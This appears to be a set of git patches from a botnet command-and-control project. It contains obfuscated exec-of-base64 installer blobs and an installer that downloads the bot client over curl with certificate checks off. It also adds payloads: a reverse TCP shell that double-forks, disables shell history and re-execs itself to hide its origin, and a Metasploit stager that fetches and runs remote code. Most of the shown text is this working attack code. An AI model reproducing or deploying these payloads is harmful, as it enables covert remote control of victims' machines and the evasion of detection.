9eBe6F43DG/d9fqB0Mxr8F52D2ds='))) # Created by pyminifier (https://github.com/liftoff/pyminifier) diff --git a/server/client/mininstall.py b/server/client/mininstall.py index 91245fe..5a5068a 100644 --- a/server/client/mininstall.py +++ b/server/client/mininstall.py @@ -1,4 +1,4 @@ import zlib, base64 -exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu63vlbYD8wMr4FpCWRhTYK6h0/lCwu9Yy9KLt/VE6ExJ4ZenWh/PvwWmkqChKRRcB0dJScr2As1MBGgnqFKEIcWb1amnyZzNy34ERViiwn5hXqsR4JXZrNG/sJTnX1fzPRfeWVsJgl8MiWsiHXkZdYn/YQFb8DCgCq9iYqCBOBmLdI+9oXsBFVFRsQbWDCek4UDVFzsKYIYApfrfnDL3CNOpvyNaHXtntyAra5OAtadTS8xQaNvPzPhT7ep2MZOiaig0mgyF4MLw+yChjyIoW6Fu4rzlWRyZ0ptNKBnKGVd50OyZ2kTWoJGZrkuQBo1wzjRQpzZqz3fTEfRNM9Xq3weCJcAZGH/gcu67efo0OVCDysl6TP9R1MzxMZ+N59qJCRPU1vXmDeqNDE+SHxKj8AtUpLm+XCc2t1OoYkg6jlB3h5x2LY63PZc/+IqWywlRUnQOl+1/brMSsltClqQoYBu017cVvKhHbM1dXSRd4aB4Ynvw31Q8vzDKJ3QZXysInAEWO8oc7QIW4TZw4P6CKCvVBIfLV43wdLFoO6clVwurmgwG5J2htg1crnYFiQmWZuwVoWgnO/qoVa2CKihL9xiOIhHobjBfurcC/d63IKwYKKRbCovNa+vmEryoDpTbT5eL95pXhaYBqzSvjKb2AHoUHnFS89TVaXF0es89DLS5TonWsop0FJWEqQYzLNUioifXP8SBTEw='))) +exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu63vlbbjhzEFvvoJZfnK0Ol8IeF3rGXpxdt6InSmpPDLU62P598CU0nQ0BQKroOjpCRle4FmJgK0E1QpwpDizerU02TO5mU/giIsUWG/MK/VCPDKbNboX1jK86+r+Z4L76ytBMEvhsQ1kY68jLrE/7CALXgYUIVXMTHQQJyMRbrH3tC9gIqoqFgDa4YT0nCg6osdBTBDgFL9b06Ze4Tp1N8RrY69s1uQlbVJwNrTqSVmKLTtZ2b8qXZ1u5hJUTUUGk2GQnBh+H2Q0EcRlK1QN3He8iyOTOnNJpQM5YyrPGj2TG0ia9DITNclSINGOGcaqFMbtee76Qj6pplq9e8DwRLgDIw/cDn33Tx9mhyoQeVkPab/KGrm+JjPxnPtxIQJaut68wb1RoYnyQ+JUfgFKtJcX64Tm9spVDEkHUeou0NOuxbH257LH3xFy+WEKCk6h8v2P7dZCdktIUtSFLAN2uvbCl7UI7bmri6SrnBQPLE9+G8qnl8Y5RO6jK8VBM4Aix1ljnYBi3AbOHB/QZSVaoLD5atGeLpYtJ3TkquFVU0GA/LOUNsGLle7gsQESzP2ilC0kx191KpWQRWUpXsMR5EIdDeYL91bgX7vWxBWDBTSLYXF5rV1cwleVAfK7afLxXvNq0LTgFWaV0ZTewA9Co84qXnq6rQ4Or3nHgbaXKdEa1lFOopKwlSDGZZqEdGT6x+L9ExD'))) # Created by pyminifier (https://github.com/liftoff/pyminifier) From 3e9fde11bdb6f4e41745437b3c3606d61d1cbaec Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Sun, 4 Feb 2018 00:47:33 -0800 Subject: [PATCH 6/9] host fix --- server/client/install.py | 4 +++- server/client/mininstall.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/server/client/install.py b/server/client/install.py index c15d69a..a06d628 100644 --- a/server/client/install.py +++ b/server/client/install.py @@ -76,12 +76,14 @@ def install_and_run_osx(host, port): script_path = os.path.expanduser(loc) if not os.path.exists(script_path): try: - curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/client/minclient.py'], stdout=subprocess.PIPE) + curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+host+'/client/minclient.py'], + stdout=subprocess.PIPE) (out, err) = curlproc.communicate() if err is not None: print(err) raise Exception(err) print("[+] Script written to:\t{}".format(script_path)) + break except Exception as e: print(e) else: diff --git a/server/client/mininstall.py b/server/client/mininstall.py index 5a5068a..0be75d6 100644 --- a/server/client/mininstall.py +++ b/server/client/mininstall.py @@ -1,4 +1,4 @@ import zlib, base64 -exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu63vlbbjhzEFvvoJZfnK0Ol8IeF3rGXpxdt6InSmpPDLU62P598CU0nQ0BQKroOjpCRle4FmJgK0E1QpwpDizerU02TO5mU/giIsUWG/MK/VCPDKbNboX1jK86+r+Z4L76ytBMEvhsQ1kY68jLrE/7CALXgYUIVXMTHQQJyMRbrH3tC9gIqoqFgDa4YT0nCg6osdBTBDgFL9b06Ze4Tp1N8RrY69s1uQlbVJwNrTqSVmKLTtZ2b8qXZ1u5hJUTUUGk2GQnBh+H2Q0EcRlK1QN3He8iyOTOnNJpQM5YyrPGj2TG0ia9DITNclSINGOGcaqFMbtee76Qj6pplq9e8DwRLgDIw/cDn33Tx9mhyoQeVkPab/KGrm+JjPxnPtxIQJaut68wb1RoYnyQ+JUfgFKtJcX64Tm9spVDEkHUeou0NOuxbH257LH3xFy+WEKCk6h8v2P7dZCdktIUtSFLAN2uvbCl7UI7bmri6SrnBQPLE9+G8qnl8Y5RO6jK8VBM4Aix1ljnYBi3AbOHB/QZSVaoLD5atGeLpYtJ3TkquFVU0GA/LOUNsGLle7gsQESzP2ilC0kx191KpWQRWUpXsMR5EIdDeYL91bgX7vWxBWDBTSLYXF5rV1cwleVAfK7afLxXvNq0LTgFWaV0ZTewA9Co84qXnq6rQ4Or3nHgbaXKdEa1lFOopKwlSDGZZqEdGT6x+L9ExD'))) +exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu60Z0Hb8MKbAVz+hLF8ZOp0vJPyOtSy9eFtPhM6UFH55qvXx/FtgKgkamkLBdXCUlKRsL9DMRIB2gipFGFK8WZ16mszZvOxHUIQlKuwX5rUaAV6ZzRr9C0t5/nU133PhnbWVIPjFkLgm0pGXUZf4HxawBQ8DqvAqJgYaiJOxSPfYG7oXUBEVFWtgzXBCGg5UfbGjAGYIUKr/zSlzjzCd+jui1bF3dguysjYJWHs6tcQMhbb9zIw/1a5uFzMpqoZCo8lQCC4Mvw8S+iiCshXqJs5bnsWRKb3ZhJIhu93woNkztYmsQSMzXZcgDRrhnGmgTm3Unu+mI+ibZqrVvw8ES4AzMP7A5dx38/RpcqAGlZP1mP6jqJnjYz4bz7UTEyaorevNG9QbGZ4kPyRG4ReoSHN9uU5sbqdQxZB0HKHuDjntWhxvey5/8BUtlxOipOgcLtv/3GYlZLeELElRwDZor28reFGP2Jq7uki6wkHxxPbgv6l4fmGUT+gyvlYQOAMsdpQ52gUswm3gwP0FUVaqCQ6Xrxrh6WLRdk5LrhZWNRkMyDtDbRu4XO0KEhMszdgrQtFOdvRRq1oFVVCW7jEcRSLQ3WC+dG8F+r1vQVgxUEi3FBab19bNJXhRHSi3ny4X7zWvCk0DVmleGU3tAfQoPOKk5qmr0+Lo9J57GGhznRKtZRXpKCoJUw1mWKpFRE+ufwCvYUzD'))) # Created by pyminifier (https://github.com/liftoff/pyminifier) From f2ffc9ed215337699a79961b74306d048cbddd3f Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Sun, 4 Feb 2018 14:13:10 -0800 Subject: [PATCH 7/9] Fixed payload variable ordering --- server/botpayloadmanager.py | 12 +++++++----- server/payloads/reverse_pty.py | 20 ++++++++++++++++++++ 2 files changed, 27 insertions(+), 5 deletions(-) create mode 100644 server/payloads/reverse_pty.py diff --git a/server/botpayloadmanager.py b/server/botpayloadmanager.py index 70049fe..5481ddc 100644 --- a/server/botpayloadmanager.py +++ b/server/botpayloadmanager.py @@ -37,7 +37,7 @@ def parsePayload(self, payloadpath): payloadlines = f.readlines() payloaddict = dict(name=payloadpath[len(self.payloadpath) + 1:-len(BotNetPayloadManager.PAYLOAD_EXT)], description='', - vars={}) + vars={}, varorder=[]) try: if payloadlines[0].strip() in BotNetPayloadManager.COMMENT_DELIMIT: for i in range(1, len(payloadlines)): @@ -55,6 +55,7 @@ def parsePayload(self, payloadpath): defval = var[eqindx + 1:].strip() var = var[:eqindx].strip() payloaddict['vars'][var] = {'description': rhs} + payloaddict['varorder'].append(var) if defval is not None: payloaddict['vars'][var]['default_value'] = defval else: @@ -67,14 +68,15 @@ def parsePayload(self, payloadpath): def getPayloadText(self, payload, args): if payload not in self.payloaddescriptions: return None - vars = self.payloaddescriptions[payload]['vars'] + vardict = self.payloaddescriptions[payload]['vars'] + varorder = self.payloaddescriptions[payload]['varorder'] vartext = "" - for reqvar in vars.keys(): + for reqvar in varorder: if reqvar in args and len(args[reqvar]) > 0: arg = json.dumps(args[reqvar]) vartext += '{}={}\n'.format(reqvar, arg) - elif 'default_value' in vars[reqvar]: - arg = json.dumps(vars[reqvar]['default_value']) + elif 'default_value' in vardict[reqvar]: + arg = json.dumps(vardict[reqvar]['default_value']) vartext += '{}={}\n'.format(reqvar, arg) with open(self.payloadfiles[payload], "r") as f: payloadtext = f.read() diff --git a/server/payloads/reverse_pty.py b/server/payloads/reverse_pty.py new file mode 100644 index 0000000..39ec195 --- /dev/null +++ b/server/payloads/reverse_pty.py @@ -0,0 +1,20 @@ +''' +NAME: Reverse TCP pty +DESCRIPTION: Opens pseudo-tty for terminal-like connections. Taken from python-pty-shells. Example listener: socat file:`tty`,echo=0,raw tcp4-listen:LPORT +VAR LHOST: host ip +VAR LPORT: host port +''' +import os +import pty +import socket + +LPORT = int(LPORT) + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((LHOST,LPORT)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +os.putenv("HISTFILE",'/dev/null') +pty.spawn('/bin/bash') +s.close() From a4d99a4d92b8174129185b807df962a0c0d02790 Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Sun, 4 Feb 2018 15:17:44 -0800 Subject: [PATCH 8/9] Sorted payloads + added fork protection to reverse shell --- server/payloads/reverse_pty.py | 39 +++++++++++++++++++++++----------- server/server.py | 2 +- 2 files changed, 28 insertions(+), 13 deletions(-) diff --git a/server/payloads/reverse_pty.py b/server/payloads/reverse_pty.py index 39ec195..2b5334e 100644 --- a/server/payloads/reverse_pty.py +++ b/server/payloads/reverse_pty.py @@ -4,17 +4,32 @@ VAR LHOST: host ip VAR LPORT: host port ''' -import os -import pty -import socket +import os, sys -LPORT = int(LPORT) +try: + # Use double fork + setsid/umask to mask parent process etc... + if os.fork() == 0: + if os.fork(): + # _exit exits without cleanup. + os._exit(0) -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.connect((LHOST,LPORT)) -os.dup2(s.fileno(),0) -os.dup2(s.fileno(),1) -os.dup2(s.fileno(),2) -os.putenv("HISTFILE",'/dev/null') -pty.spawn('/bin/bash') -s.close() + os.setsid() + os.umask(0) + + import pty + import socket + + LPORT = int(LPORT) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((LHOST,LPORT)) + os.dup2(s.fileno(),0) + os.dup2(s.fileno(),1) + os.dup2(s.fileno(),2) + os.putenv("HISTFILE",'/dev/null') + pty.spawn('/bin/bash') + s.close() + os._exit(0) + sys.stdout.write("[+] Fork successful, going dark.") +except OSError as e: + sys.stderr.write("[!] {}".format(e)) diff --git a/server/server.py b/server/server.py index 644471d..7c98406 100644 --- a/server/server.py +++ b/server/server.py @@ -323,7 +323,7 @@ def payload_launch(): return "No payload specified", 404 elif request.method == 'GET': - payloadstr = json.dumps(botnet.getPayloads()) + payloadstr = json.dumps(botnet.getPayloads(), sort_keys=True) return flask.Response(payloadstr, status=200, mimetype='application/json') elif request.method == 'DELETE': From d57d38106ed94c8c147426f885e4f74d0d9fbbba Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Sun, 4 Feb 2018 15:57:48 -0800 Subject: [PATCH 9/9] Added os.exec to overwrite parent information further --- server/client/client.py | 1 + server/payloads/metasploit_handler.py | 26 ++++++++++++++++------- server/payloads/reverse_pty.py | 30 ++++++++++++++------------- 3 files changed, 35 insertions(+), 22 deletions(-) diff --git a/server/client/client.py b/server/client/client.py index a0d9dd6..4c4b2b3 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -625,6 +625,7 @@ def hasInternetConnection(): except: return False + if __name__ == "__main__": if "-install" in sys.argv: # Legacy diff --git a/server/payloads/metasploit_handler.py b/server/payloads/metasploit_handler.py index 54d1cca..7d8d5db 100644 --- a/server/payloads/metasploit_handler.py +++ b/server/payloads/metasploit_handler.py @@ -5,11 +5,21 @@ VAR LPORT: Metasploit host port ''' -import socket,struct -s=socket.socket(2,1) -s.connect((LHOST,int(LPORT))) -l=struct.unpack('>I',s.recv(4))[0] -d=s.recv(4096) -while len(d)!=l: - d+=s.recv(4096) -exec(d,{'s':s}) \ No newline at end of file +import os + +try: + # Use double fork + setsid/umask to mask parent process etc... + if os.fork() == 0: + if os.fork(): + # _exit exits without cleanup. + os._exit(0) + + import socket,struct + s=socket.socket(2,1) + s.connect((LHOST,int(LPORT))) + l=struct.unpack('>I',s.recv(4))[0] + d=s.recv(4096) + while len(d)!=l: + d+=s.recv(4096) + exec(d,{'s':s}) +except OSError as e: diff --git a/server/payloads/reverse_pty.py b/server/payloads/reverse_pty.py index 2b5334e..d18c852 100644 --- a/server/payloads/reverse_pty.py +++ b/server/payloads/reverse_pty.py @@ -6,6 +6,8 @@ ''' import os, sys +lhost = LHOST +lport = int(LPORT) try: # Use double fork + setsid/umask to mask parent process etc... if os.fork() == 0: @@ -16,20 +18,20 @@ os.setsid() os.umask(0) - import pty - import socket + cmd = ("import os, pty, socket" + "\n" + "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)" + "\n" + "s.connect(('{}',{}))" + "\n" + "os.dup2(s.fileno(),0)" + "\n" + "os.dup2(s.fileno(),1)" + "\n" + "os.dup2(s.fileno(),2)" + "\n" + "os.putenv('HISTFILE','/dev/null')" + "\n" + "pty.spawn('/bin/bash')" + "\n" + "s.close()" + "\n" + "os._exit(0)" + "\n").format(lhost,lport) - LPORT = int(LPORT) + # Completely forget all inherited information from parents. + os.execv(sys.executable, [sys.executable, '-c', cmd]) - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((LHOST,LPORT)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - os.putenv("HISTFILE",'/dev/null') - pty.spawn('/bin/bash') - s.close() - os._exit(0) - sys.stdout.write("[+] Fork successful, going dark.") + sys.stdout.write("Fork successful, going dark.") except OSError as e: - sys.stderr.write("[!] {}".format(e)) + sys.stderr.write("{}".format(e))